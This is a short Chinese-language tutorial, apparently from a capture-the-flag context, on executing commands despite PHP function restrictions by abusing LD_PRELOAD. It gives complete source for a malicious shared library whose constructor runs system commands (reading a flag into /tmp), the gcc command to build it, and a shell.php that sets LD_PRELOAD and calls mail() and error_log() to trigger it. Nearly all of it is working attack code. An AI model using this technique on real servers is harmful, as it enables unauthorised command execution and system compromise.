LD_PRELOAD
LD_PRELOAD:
是Linux系统的一个环境变量,它指定的.so文件会在程序本身的.so文件之前被加载。putenv():
PHP函数,可以设置环境变量mail(),error_log()
PHP函数,在运行时会执行系统中的程序:sendmail
构造一个带命令执行的eval.os
文件,让其被LD_PRELOAD
加载;然后在PHP中调用mail
函数或error_log
函数,函数内部会执行系统的sendmail
命令;这样我们构造的eval.os
就会加载并覆盖sendmail本应调用的库函数,达到命令执行的效果。
写一个hack.c文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void hack(void)
{
unsetenv("LD_PRELOAD");
system("echo any_other_eval_code");
system("/readflag > /tmp/flag");
}
__attribute__ ((__constructor__))
这个参数,它的效果是使得被自己修饰的函数在main函数前执行。
C 语言扩展修饰符
attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor))
修饰的函数。
然后使用gcc命令(实测我的windows上的gcc编译出来的so文件没用,kali上的有用,后来得知必须在相同系统下编译的才有用,这里理所当然是inux系统,现在想想,毕竟是动态链接库,不同系统怎么可能有用)
gcc -shared -fPIC hack.c -o eval.so
将这个源文件编译成动态链接库文件,并将其上传到服务器的/tmp
目录下。(就得是/tmp/
其它目录也执行不了)
shell.php
文件:
<?php
putenv("LD_PRELOAD=/tmp/eval.so");
mail("", "", "", "");
error_log("",1,"","");
?>
用文件包含或者写入一个可执行php文件的形式都行
这样它就会执行那个恶意的so文件了